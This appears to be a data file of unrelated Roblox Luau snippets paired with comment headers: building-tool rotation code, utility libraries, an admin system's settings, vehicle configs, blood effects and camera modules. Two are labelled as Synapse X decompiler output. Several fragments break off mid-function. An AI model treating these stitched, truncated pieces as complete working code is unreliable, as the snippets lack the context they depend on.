-- Nudge around X axis if the 2 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then
NudgeSelectionByAxis(Enum.Axis.X, -1);
-- Nudge around Z axis if the 9 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then
NudgeSelectionByAxis(Enum.Axis.Z, 1);
-- Nudge around Z axis if the 1 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then
NudgeSelectionByAxis(Enum.Axis.Z, -1);
-- Nudge around Y axis if the 4 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then
NudgeSelectionByAxis(Enum.Axis.Y, -1);
-- Nudge around Y axis if the 6 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then
NudgeSelectionByAxis(Enum.Axis.Y, 1);
-- Start snapping when the R key is pressed down, and it's not the selection clearing hotkey
elseif (InputInfo.KeyCode == Enum.KeyCode.R) and not Selection.Multiselecting then
StartSnapping();
-- Start snapping when T key is pressed down (alias)
elseif (InputInfo.KeyCode == Enum.KeyCode.T) and (not Selection.Multiselecting) then
StartSnapping();
end;
end));
end;
function StartSnapping()
-- Make sure snapping isn't already enabled
if SnapTracking.Enabled then
return;
end;
-- Listen for snapped points
SnapTracking.StartTracking(function (NewPoint)
SnappedPoint = NewPoint;
end);
-- Select the snapped pivot point upon clicking
Connections.SelectSnappedPivot = Core.Mouse.Button1Down:Connect(function ()
-- Disable unintentional selection
Core.Targeting.CancelSelecting();
-- Ensure there is a snap point
if not SnappedPoint then
return;
end;
-- Disable snapping
SnapTracking.StopTracking();
-- Attach the handles to a part at the snapped point
local Part = Make 'Part' {
CFrame = SnappedPoint,
Size = Vector3.new(5, 1, 5)
};
SetPivot 'Last';
AttachHandles(Part, true);
-- Maintain the part in memory to prevent garbage collection
GCBypass = { Part };
-- Set the pivot point
PivotPoint = SnappedPoint;
CustomPivotPoint = true;
-- Disconnect snapped pivot point selection listener
ClearConnection 'SelectSnappedPivot';
end);
end;
function SetAxisAngle(Axis, Angle)
-- Sets the selection's angle on axis `Axis` to `Angle`
-- Turn the given angle from degrees to radians
local Angle = math.rad(Angle);
-- Track this change
TrackChange();
-- Prepare parts to be moved
local InitialStates = PreparePartsForRotating();
-- Update each part
for Part, State in pairs(InitialStates) do
-- Set the part's new CFrame
Part.CFrame = CFrame.new(Part.Position) * CFrame.fromOrientation(
Axis == 'X' and Angle or math.rad(Part.Orientation.X),
Axis == 'Y' and Angle or math.rad(Part.Orientation.Y),
Axis == 'Z' and Angle or math.rad(Part.Orientation.Z)
);
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Revert changes if player is not authorized to move parts to target destination
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialStates) do
Part.CFrame = State.CFrame;
end;
end;
-- Restore the parts' original states
for Part, State in pairs(InitialStates) do
Part:MakeJoints();
Core.RestoreJoints(State.Joints);
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
end;
function NudgeSelectionByAxis(Axis, Direction)
-- Nudges the rotation of the selection in the direction of the given axis
-- Ensure selection is not empty
if #Selection.Parts == 0 then
return;
end;
-- Get amount to nudge by
local NudgeAmount = RotateTool.Increment;
-- Reverse nudge amount if shift key is held while nudging
local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode'));
if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then
NudgeAmount = -NudgeAmount;
end;
-- Track the change
TrackChange();
-- Stop parts from moving, and capture the initial state of the parts
local InitialState = PreparePartsForRotating();
-- Set the pivot point to the center of the selection if in Center mode
if RotateTool.Pivot == 'Center' then
local BoundingBoxSize, BoundingBoxCFrame = BoundingBox.CalculateExtents(Selection.Parts);
PivotPoint = BoundingBoxCFrame;
-- Set the pivot point to the center of the focused part if in Last mode
elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then
if Selection.Focus:IsA 'BasePart' then
PivotPoint = Selection.Focus.CFrame
elseif Selection.Focus:IsA 'Model' then
PivotPoint = Selection.Focus:GetModelCFrame()
end
end;
-- Perform the rotation
RotatePartsAroundPivot(RotateTool.Pivot, PivotPoint, Axis, NudgeAmount * (Direction or 1), InitialState);
-- Update the "degrees rotated" indicator
if RotateTool.UI then
RotateTool.UI.Changes.Text.Text = 'rotated ' .. (NudgeAmount * (Direction or 1)) .. ' degrees';
end;
-- Cache area permissions information
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Make sure we're not entering any unauthorized private areas
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialState) do
Part.CFrame = State.CFrame;
end;
end;
-- Make joints, restore original anchor and collision states
for Part, State in pairs(InitialState) do
Part:MakeJoints();
Core.RestoreJoints(State.Joints);
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Parts = Support.CloneTable(Selection.Parts);
BeforeCFrame = {};
AfterCFrame = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, { Part = Part, CFrame = Record.BeforeCFrame[Part] });
end;
-- Send the change request
Core.SyncAPI:Invoke('SyncRotate', Changes);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, { Part = Part, CFrame = Record.AfterCFrame[Part] });
end;
-- Send the change request
Core.SyncAPI:Invoke('SyncRotate', Changes);
end;
};
-- Collect the selection's initial state
for _, Part in pairs(HistoryRecord.Parts) do
HistoryRecord.BeforeCFrame[Part] = Part.CFrame;
end;
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Collect the selection's final state
local Changes = {};
for _, Part in pairs(HistoryRecord.Parts) do
HistoryRecord.AfterCFrame[Part] = Part.CFrame;
table.insert(Changes, { Part = Part, CFrame = Part.CFrame });
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncRotate', Changes);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
function PreparePartsForRotating()
-- Prepares parts for rotating and returns the initial state of the parts
local InitialState = {};
-- Get index of parts
local PartIndex = Support.FlipTable(Selection.Parts);
-- Stop parts from moving, and capture the initial state of the parts
for _, Part in pairs(Selection.Parts) do
InitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, CFrame = Part.CFrame };
Part.Anchored = true;
Part.CanCollide = false;
InitialState[Part].Joints = Core.PreserveJoints(Part, PartIndex);
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
end;
return InitialState;
end;
function GetIncrementMultiple(Number, Increment)
-- Get how far the actual distance is from a multiple of our increment
local MultipleDifference = Number % Increment;
-- Identify the closest lower and upper multiples of the increment
local LowerMultiple = Number - MultipleDifference;
local UpperMultiple = Number - MultipleDifference + Increment;
-- Calculate to which of the two multiples we're closer
local LowerMultipleProximity = math.abs(Number - LowerMultiple);
local UpperMultipleProximity = math.abs(Number - UpperMultiple);
-- Use the closest multiple of our increment as the distance moved
if LowerMultipleProximity <= UpperMultipleProximity then
Number = LowerMultiple;
else
Number = UpperMultiple;
end;
return Number;
end;
|
-- If at 0, audio player will start right away because audio starts at 0 time position
-- Open to alternatives
|
local startingTimePositionValue = 0
function Clock.new(timeId)
local timePosition = Instance.new("NumberValue") -- Could this be slow, does that matter
timePosition.Name = timeId
timePosition.Parent = ReplicatedStorage
local self = {
initialTimePosition = startingTimePositionValue,
initialClockTime = nil,
timePosition = timePosition,
timeKeepingConnection = nil,
}
setmetatable(self, Clock)
return self
end
function Clock:getCurrentTime()
return os.clock()
end
function Clock:_keepTrackOfTime()
self:_stopTrackingTime()
self.initialClockTime = self:getCurrentTime()
self.timeKeepingConnection = self.RunService.Heartbeat:Connect(function()
local differenceSinceCall = self:getCurrentTime() - self.initialClockTime
self.timePosition.Value = differenceSinceCall + self.initialTimePosition
end)
return
end
function Clock:_stopTrackingTime()
if self.timeKeepingConnection then
self.timeKeepingConnection:Disconnect()
self.timeKeepingConnection = nil
end
end
function Clock:StartTime()
-- TODO: use luke's coroutine wrap because of silencable errors
coroutine.wrap(function()
self:_keepTrackOfTime()
end)()
end
function Clock:ResetTime()
self:_stopTrackingTime()
self.timePosition.Value = startingTimePositionValue
self.initialTimePosition = startingTimePositionValue
end
function Clock:SetTime(timePositionValue)
self:_stopTrackingTime()
self.timePosition.Value = timePositionValue
self.initialTimePosition = timePositionValue
end
return Clock
|
-- Connection class
|
local Connection = {}
Connection.__index = Connection
function Connection.new(signal, fn)
return setmetatable({
Connected = true,
_signal = signal,
_fn = fn,
_next = false,
}, Connection)
end
function Connection:Disconnect()
if not self.Connected then return end
self.Connected = false
-- Unhook the node, but DON'T clear it. That way any fire calls that are
-- currently sitting on this node will be able to iterate forwards off of
-- it, but any subsequent fire calls will not hit it, and it will be GCed
-- when no more fire calls are sitting on it.
if self._signal._handlerListHead == self then
self._signal._handlerListHead = self._next
else
local prev = self._signal._handlerListHead
while prev and prev._next ~= self do
prev = prev._next
end
if prev then
prev._next = self._next
end
end
end
Connection.Destroy = Connection.Disconnect
|
-- Making Spring Activate Ragdoll
|
Joint.RightLegSpring.Attachment1 = script.Parent.RightFoot.RightAnkleRigAttachment
Joint.LeftLegSpring.Attachment1 = script.Parent.LeftFoot.LeftAnkleRigAttachment
Joint.RightArmSpring.Attachment1 = script.Parent.RightHand.RightWristRigAttachment
Joint.LeftArmSpring.Attachment1 = script.Parent.LeftHand.LeftWristRigAttachment
Joint.RightLegSpring.Attachment0 = Joint.LeftLegAnimation.Attachment1
Joint.LeftLegSpring.Attachment0 = Joint.RightLegAnimation.Attachment1
Joint.RightArmSpring.Attachment0 = Joint.RightArmAnimation.Attachment1
Joint.LeftArmSpring.Attachment0 = Joint.LeftArmAnimation.Attachment1
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onRunning(speed)
if speed>0 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
|
--[=[
Loops through every single element, and puts it through a callback. If the callback returns true, the function returns true.
```lua
local array = {1, 2, 3, 4, 5}
local even = function(value) return value % 2 == 0 end
print(TableKit.Some(array, even)) -- Prints true
```
@within TableKit
@param tbl table
@param callback (value) -> boolean
@return boolean
]=]
|
function TableKit.Some(tbl: { [unknown]: unknown }, callback: (value: unknown) -> boolean): boolean
for _, value in tbl do
if callback(value) == true then
return true
end
end
return false
end
|
------------------------------------------------------------------------
-- dump child function prototypes from function prototype
------------------------------------------------------------------------
|
function luaU:DumpFunction(f, p, D)
local source = f.source
if source == p or D.strip then source = nil end
self:DumpString(source, D)
self:DumpInt(f.lineDefined, D)
self:DumpInt(f.lastlinedefined, D)
self:DumpChar(f.nups, D)
self:DumpChar(f.numparams, D)
self:DumpChar(f.is_vararg, D)
self:DumpChar(f.maxstacksize, D)
self:DumpCode(f, D)
self:DumpConstants(f, D)
self:DumpDebug(f, D)
end
|
--// Special Variables
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server
local service = Vargs.Service
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings
local function Init()
Functions = server.Functions
Admin = server.Admin
Anti = server.Anti
Core = server.Core
HTTP = server.HTTP
Logs = server.Logs
Remote = server.Remote
Process = server.Process
Variables = server.Variables
Settings = server.Settings
Variables.BanMessage = Settings.BanMessage
Variables.LockMessage = Settings.LockMessage
for _, v in Settings.MusicList or {} do table.insert(Variables.MusicList, v) end
for _, v in Settings.InsertList or {} do table.insert(Variables.InsertList, v) end
for _, v in Settings.CapeList or {} do table.insert(Variables.Capes, v) end
Variables.Init = nil
Logs:AddLog("Script", "Variables Module Initialized")
end
local function AfterInit(data)
server.Variables.CodeName = server.Functions:GetRandom()
Variables.RunAfterInit = nil
Logs:AddLog("Script", "Finished Variables AfterInit")
end
local Lighting = service.Lighting
server.Variables = {
Init = Init,
RunAfterInit = AfterInit,
ZaWarudo = false,
CodeName = math.random(),
IsStudio = service.RunService:IsStudio(), -- Used to check if Adonis is running inside Roblox Studio as things like TeleportService and DataStores (if API Access is disabled) do not work in Studio
AuthorizedToReply = {},
FrozenObjects = {},
ScriptBuilder = {},
CachedDonors = {},
BanMessage = "Banned",
LockMessage = "Not Whitelisted",
DonorPass = {1348327, 1990427, 1911740, 167686, 98593, "6878510605", 5212082, 5212081}, --// Strings are items; numbers are gamepasses
WebPanel_Initiated = false,
LightingSettings = {
Ambient = Lighting.Ambient,
OutdoorAmbient = Lighting.OutdoorAmbient,
Brightness = Lighting.Brightness,
TimeOfDay = Lighting.TimeOfDay,
FogColor = Lighting.FogColor,
FogEnd = Lighting.FogEnd,
FogStart = Lighting.FogStart,
GlobalShadows = Lighting.GlobalShadows,
Outlines = Lighting.Outlines,
ShadowColor = Lighting.ShadowColor,
ColorShift_Bottom = Lighting.ColorShift_Bottom,
ColorShift_Top = Lighting.ColorShift_Top,
GeographicLatitude = Lighting.GeographicLatitude,
Name = Lighting.Name,
},
OriginalLightingSettings = {
Ambient = Lighting.Ambient,
OutdoorAmbient = Lighting.OutdoorAmbient,
Brightness = Lighting.Brightness,
TimeOfDay = Lighting.TimeOfDay,
FogColor = Lighting.FogColor,
FogEnd = Lighting.FogEnd,
FogStart = Lighting.FogStart,
GlobalShadows = Lighting.GlobalShadows,
Outlines = Lighting.Outlines,
ShadowColor = Lighting.ShadowColor,
ColorShift_Bottom = Lighting.ColorShift_Bottom,
ColorShift_Top = Lighting.ColorShift_Top,
GeographicLatitude = Lighting.GeographicLatitude,
Name = Lighting.Name,
Sky = Lighting:FindFirstChildOfClass("Sky") and Lighting:FindFirstChildOfClass("Sky"):Clone(),
},
PMtickets = {};
HelpRequests = {};
Objects = {};
InsertedObjects = {};
CommandLoops = {};
SavedTools = {};
Waypoints = {};
Cameras = {};
Jails = {};
LocalEffects = {};
SizedCharacters = {};
BundleCache = {};
TrackingTable = {};
DisguiseBindings = {};
IncognitoPlayers = {};
MusicList = {
{Name = "crabrave", ID = 5410086218},
{Name = "shiawase", ID = 5409360995},
{Name = "unchartedwaters", ID = 7028907200},
{Name = "glow", ID = 7028856935},
{Name = "good4me", ID = 7029051434},
{Name = "bloom", ID = 7029024726},
{Name = "safe&sound", ID = 7024233823},
{Name = "shaku", ID = 7024332460},
{Name = "fromdust&ashes", ID = 7024254685},
{Name = "loveis", ID = 7029092469},
{Name = "playitcool", ID = 7029017448},
{Name = "still", ID = 7023771708},
{Name = "sleep", ID = 7023407320},
{Name = "whatareyouwaitingfor", ID = 7028977687},
{Name = "balace", ID = 7024183256},
{Name = "brokenglass", ID = 7028799370},
{Name = "thelanguageofangels", ID = 7029031068},
{Name = "imprints", ID = 7023704173},
{Name = "foundareason", ID = 7028919492},
{Name = "newhorizons", ID = 7028518546},
{Name = "whatsitlike", ID = 7028997537},
{Name = "destroyme", ID = 7023617400},
{Name = "consellations", ID = 7023733671},
{Name = "wish", ID = 7023670701},
{Name = "samemistake", ID = 7024101188},
{Name = "whereibelong", ID = 7028527348},
};
InsertList = {};
Capes = {
{Name = "crossota", Material = "Neon", Color = "Cyan", ID = 420260457},
{Name = "jamiejr99", Material = "Neon", Color = "Cashmere", ID = 429297485},
{Name = "new yeller", Material = "Fabric", Color = "New Yeller"},
{Name = "pastel blue", Material = "Fabric", Color = "Pastel Blue"},
{Name = "dusty rose", Material = "Fabric", Color = "Dusty Rose"},
{Name = "cga brown", Material = "Fabric", Color = "CGA brown"},
{Name = "random", Material = "Fabric", Color = (BrickColor.random()).Name},
{Name = "shiny", Material = "Plastic", Color = "Institutional white", Reflectance = 1},
{Name = "gold", Material = "Plastic", Color = "Bright yellow", Reflectance = 0.4},
{Name = "kohl", Material = "Fabric", Color = "Really black", ID = 108597653},
{Name = "script", Material = "Plastic", Color = "White", ID = 151359194},
{Name = "batman", Material = "Fabric", Color = "Institutional white", ID = 108597669},
{Name = "epix", Material = "Plastic", Color = "Really black", ID = 149442745},
{Name = "superman", Material = "Fabric", Color = "Bright blue", ID = 108597677},
{Name = "swag", Material = "Fabric", Color = "Pink", ID = 109301474},
{Name = "donor", Material = "Plastic", Color = "White", ID = 149009184},
{Name = "gomodern", Material = "Plastic", Color = "Really black", ID = 149438175},
{Name = "admin", Material = "Plastic", Color = "White", ID = 149092195},
{Name = "giovannis", Material = "Plastic", Color = "White", ID = 149808729},
{Name = "godofdonuts", Material = "Plastic", Color = "Institutional white", ID = 151034443},
{Name = "host", Material = "Plastic", Color = "Really black", ID = 152299000},
{Name = "cohost", Material = "Plastic", Color = "Really black", ID = 152298950},
{Name = "trainer", Material = "Plastic", Color = "Really black", ID = 152298976},
{Name = "ba", Material = "Plastic", Color = "White", ID = 172528001}
};
Blacklist = {
Enabled = (server.Settings.BlacklistEnabled ~= nil and server.Settings.BlacklistEnabled) or true,
Lists = {
Settings = server.Settings.Blacklist
},
};
Whitelist = {
Enabled = server.Settings.WhitelistEnabled,
Lists = {
Settings = server.Settings.Whitelist
},
};
}
end
|
-- Speed is adjusted so that the height of jumps is preserved
-- So maxSpeed is scaled proportionally to the sqrt of gravity
|
local maxSpeed = 200 * math.sqrt( gravityChange )
local torque = 50000 * gravityChange
|
-- Decompiled with the Synapse X Luau decompiler.
|
return {
Name = "run-lines",
Aliases = {},
Description = "Splits input by newlines and runs each line as its own command. This is used by the init-run command.",
Group = "DefaultUtil",
Args = { {
Type = "string",
Name = "Script",
Description = "The script to parse.",
Default = ""
} },
Run = function(p1, p2)
if #p2 == 0 then
return "";
end;
local v1 = p1.Dispatcher:Run("var", "INIT_PRINT_OUTPUT") ~= "";
local v2, v3, v4 = ipairs((p2:gsub("\n+", "\n"):split("\n")));
while true do
v2(v3, v4);
if not v2 then
break;
end;
v4 = v2;
if v3:sub(1, 1) ~= "#" then
local v5 = p1.Dispatcher:EvaluateAndRun(v3);
if v1 then
p1:Reply(v5);
end;
end;
end;
return "";
end
};
|
--[[
LegacyCamera - Implements legacy controller types: Attach, Fixed, Watch
2018 Camera Update - AllYourBlox
--]]
| |
--[[
Formats a multi-line message with printf-style placeholders.
]]
|
local function formatMessage(lines, parameters)
return table.concat(lines, "\n"):format(unpack(parameters or {}))
end
local function noop()
return nil
end
|
--------------------
--| Script Logic |--
--------------------
|
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
|
--[=[
@within TableUtil
@function Zip
@param ... table
@return (iter: (t: table, k: any) -> (key: any?, values: table?), tbl: table, startIndex: any?)
Returns an iterator that can scan through multiple tables at the same time side-by-side, matching
against shared keys/indices.
```lua
local t1 = {10, 20, 30, 40, 50}
local t2 = {60, 70, 80, 90, 100}
for key,values in TableUtil.Zip(t1, t2) do
print(key, values)
end
--[[
Outputs:
1 {10, 60}
2 {20, 70}
3 {30, 80}
4 {40, 90}
5 {50, 100}
--]]
```
]=]
|
local function Zip(...): (IteratorFunc, Table, any)
assert(select("#", ...) > 0, "Must supply at least 1 table")
local function ZipIteratorArray(all: Table, k: number): (number?, {any}?)
k += 1
local values = {}
for i,t in ipairs(all) do
local v = t[k]
if v ~= nil then
values[i] = v
else
return nil, nil
end
end
return k, values
end
local function ZipIteratorMap(all: Table, k: any): (number?, {any}?)
local values = {}
for i,t in ipairs(all) do
local v = next(t, k)
if v ~= nil then
values[i] = v
else
return nil, nil
end
end
return k, values
end
local all = {...}
if #all[1] > 0 then
return ZipIteratorArray, all, 0
else
return ZipIteratorMap, all, nil
end
end
|
--//Transmission//--
|
AmountOfGears = 8 --{Max of 8 gears}
TransmissionType = "Automatic" --{HPattern, Automatic, DualClutch, CVT}
Drivetrain = "AWD" --{RWD, FWD, AWD}
TorqueSplit = 70 --{Split to the rear wheels}
DifferentialF = 0 --{0 = Open, 1 = locked}
DifferentialR = 0.6 --{0 = Open, 1 = locked}
Gear1 = 4.60
Gear2 = 2.72
Gear3 = 1.86
Gear4 = 1.46
Gear5 = 1.23
Gear6 = 1.00
Gear7 = 0.82
Gear8 = 0.69
FinalDrive = 2.937
EngineIdle = 600
EngineRedline = 6800
|
-- This script makes everytime a player dies, blood will come out --
|
function died()
local human = script.Parent:FindFirstChild("Humanoid")
if (human.Health == 0) then
for i = 1,50 do
local torso = script.Parent:FindFirstChild("Torso")
if torso ~= nil then
local blood = Instance.new("Part")
blood.BrickColor = BrickColor.new("Crimson")
blood.Transparency = 1
blood.Size = Vector3.new(1, 0.4, 1)
blood.Position = torso.Position
blood.Name = "Blood"
blood.Reflectance = 0.1
blood.Material = "SmoothPlastic"
blood.BottomSurface = "Smooth"
blood.TopSurface = "Smooth"
blood.Parent = game.Workspace
local billboard = script.BillboardGui:clone()
billboard.Parent = blood
local gui = script.BloodGui:clone()
gui.Parent = billboard
game:GetService("Debris"):AddItem(blood, 12)
end
end
end
end
script.Parent.Humanoid.Died:connect(died)
|
-----------------------------------------------------------------------------------------------------------------
|
function onKeyDown(key)
if (key~=nil) then
key = key:lower()
if (key=="e") then -- Toggle Patrol
if Holstered == true then
script.Parent.Parent.Humanoid.WalkSpeed = 16
GunUp()
elseif Holstered == false then
script.Parent.Parent.Humanoid.WalkSpeed = 20
GunDown()
end end end end
Tool.Equipped:connect(onEquippedLocal)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = math.rad(80);
local v2 = math.rad(0);
local v3 = require(script.Parent:WaitForChild("BaseCamera"));
local v4 = require(script.Parent:WaitForChild("CameraInput"));
local v5 = require(script.Parent:WaitForChild("CameraUtils"));
local v6 = require(script.Parent:WaitForChild("ZoomController"));
local v7 = require(script:WaitForChild("VehicleCameraCore"));
local v8 = require(script:WaitForChild("VehicleCameraConfig"));
local l__LocalPlayer__9 = game:GetService("Players").LocalPlayer;
local l__map__10 = v5.map;
local u1 = 0.016666666666666666;
game:GetService("RunService").Stepped:Connect(function(p1, p2)
u1 = p2;
end);
local v11 = setmetatable({}, v3);
v11.__index = v11;
function v11.new()
local v12 = setmetatable(v3.new(), v11);
v12:Reset();
return v12;
end;
local l__Spring__2 = v5.Spring;
function v11.Reset(p3)
p3.vehicleCameraCore = v7.new(p3:GetSubjectCFrame());
p3.pitchSpring = l__Spring__2.new(0, -math.rad(v8.pitchBaseAngle));
p3.yawSpring = l__Spring__2.new(0, v2);
p3.lastPanTick = 0;
local l__CurrentCamera__13 = workspace.CurrentCamera;
local v14 = l__CurrentCamera__13 and l__CurrentCamera__13.CameraSubject;
assert(l__CurrentCamera__13);
assert(v14);
assert(v14:IsA("VehicleSeat"));
local v15, v16 = v5.getLooseBoundingSphere((v14:GetConnectedParts(true)));
p3.assemblyRadius = math.max(v16, 0.001);
p3.assemblyOffset = v14.CFrame:Inverse() * v15;
p3:_StepInitialZoom();
end;
function v11._StepInitialZoom(p4)
p4:SetCameraToSubjectDistance(math.max(v6.GetZoomRadius(), p4.assemblyRadius * v8.initialZoomRadiusMul));
end;
local l__sanitizeAngle__3 = v5.sanitizeAngle;
local l__mapClamp__4 = v5.mapClamp;
function v11._StepRotation(p5, p6, p7)
local l__yawSpring__17 = p5.yawSpring;
local l__pitchSpring__18 = p5.pitchSpring;
local v19 = v4.getRotation(true);
l__yawSpring__17.pos = l__sanitizeAngle__3(l__yawSpring__17.pos + -v19.X);
l__pitchSpring__18.pos = l__sanitizeAngle__3(math.clamp(l__pitchSpring__18.pos + -v19.Y, -v1, v1));
if v4.getRotationActivated() then
p5.lastPanTick = os.clock();
end;
local v20 = -math.rad(v8.pitchBaseAngle);
local v21 = math.rad(v8.pitchDeadzoneAngle);
if v8.autocorrectDelay < os.clock() - p5.lastPanTick then
local v22 = l__mapClamp__4(p7, v8.autocorrectMinCarSpeed, v8.autocorrectMaxCarSpeed, 0, v8.autocorrectResponse);
l__yawSpring__17.freq = v22;
l__pitchSpring__18.freq = v22;
if l__yawSpring__17.freq < 0.001 then
l__yawSpring__17.vel = 0;
end;
if l__pitchSpring__18.freq < 0.001 then
l__pitchSpring__18.vel = 0;
end;
if math.abs(l__sanitizeAngle__3(v20 - l__pitchSpring__18.pos)) <= v21 then
l__pitchSpring__18.goal = l__pitchSpring__18.pos;
else
l__pitchSpring__18.goal = v20;
end;
else
l__yawSpring__17.freq = 0;
l__yawSpring__17.vel = 0;
l__pitchSpring__18.freq = 0;
l__pitchSpring__18.vel = 0;
l__pitchSpring__18.goal = v20;
end;
return CFrame.fromEulerAnglesYXZ(l__pitchSpring__18:step(p6), l__yawSpring__17:step(p6), 0);
end;
function v11._GetThirdPersonLocalOffset(p8)
return p8.assemblyOffset + Vector3.new(0, p8.assemblyRadius * v8.verticalCenterOffset, 0);
end;
function v11._GetFirstPersonLocalOffset(p9, p10)
local l__Character__23 = l__LocalPlayer__9.Character;
if l__Character__23 and l__Character__23.Parent then
local l__Head__24 = l__Character__23:FindFirstChild("Head");
if l__Head__24 and l__Head__24:IsA("BasePart") then
return p10:Inverse() * l__Head__24.Position;
end;
end;
return p9:_GetThirdPersonLocalOffset();
end;
local function u5(p11, p12)
return math.abs(p12.YVector:Dot(p11));
end;
local function u6(p13, p14)
return math.abs(p14.XVector:Dot(p13));
end;
function v11.Update(p15)
local l__CurrentCamera__25 = workspace.CurrentCamera;
local v26 = l__CurrentCamera__25 and l__CurrentCamera__25.CameraSubject;
local l__vehicleCameraCore__27 = p15.vehicleCameraCore;
assert(l__CurrentCamera__25);
assert(v26);
assert(v26:IsA("VehicleSeat"));
u1 = 0;
local v28 = p15:GetSubjectCFrame();
local v29 = p15:GetSubjectRotVelocity();
local v30 = u5(v29, v28);
local v31 = u6(v29, v28);
local v32 = p15:StepZoom();
local v33 = p15:_StepRotation(u1, (math.abs(p15:GetSubjectVelocity():Dot(v28.ZVector))));
local v34 = l__mapClamp__4(v32, 0.5, p15.assemblyRadius, 1, 0);
local v35 = p15:_GetThirdPersonLocalOffset():Lerp(p15:_GetFirstPersonLocalOffset(v28), v34);
l__vehicleCameraCore__27:setTransform(v28);
local v36 = CFrame.new(v28 * v35) * l__vehicleCameraCore__27:step(u1, v31, v30, v34) * v33;
return v36 * CFrame.new(0, 0, v32), v36;
end;
function v11.ApplyVRTransform(p16)
end;
function v11.EnterFirstPerson(p17)
p17.inFirstPerson = true;
p17:UpdateMouseBehavior();
end;
function v11.LeaveFirstPerson(p18)
p18.inFirstPerson = false;
p18:UpdateMouseBehavior();
end;
return v11;
|
-- Variables
|
local poolSizeMultiplier = getSetting("Pool size multiplier") or 1
playerService.PlayerAdded:Connect(function (plr)
if not workspace:FindFirstChild("Blood") then
folder = Instance.new("Folder", workspace)
folder.Name = "Blood"
end
local charFolder = Instance.new("Folder", folder)
charFolder.Name = plr.Name
plr.CharacterAdded:Connect(function (char)
local humanoid = char:WaitForChild("Humanoid")
humanoid.Died:Connect(function ()
pcall(function ()
local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") or nil
local root = char:FindFirstChild("HumanoidRootPart") or nil
local base
local function bloodPool (part, limbCenter)
local pool = Instance.new("Part", charFolder)
pool.CanCollide = false
pool.BrickColor = BrickColor.new("Crimson")
pool.Material = Enum.Material.Glass
pool.Transparency = .2
pool.CastShadow = false
pool.Shape = "Cylinder"
pool.Anchored = true
pool.Size = Vector3.new(.1, 0, 0)
pool.CFrame = part.CFrame
if limbCenter then
pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y - (base.Size.Y / 2) + math.random(0, .2), torso.Position.Z + math.random(-4, 4))
else
pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y + (base.Size.Y / 2), torso.Position.Z + math.random(-4, 4))
end
pool.Orientation = Vector3.new(0, 0, 90)
tweenService:Create(pool, TweenInfo.new(math.random(.4, 4), Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Size = Vector3.new(.1, math.random(3, 7) * poolSizeMultiplier, math.random(3, 7) *poolSizeMultiplier)}):Play()
debris:AddItem(pool, 9)
end
if char.Humanoid.RigType == Enum.HumanoidRigType.R6 then
wait(.2)
if not char:FindFirstChild("Head") and workspace:FindFirstChild(plr.Name .. "-2") then
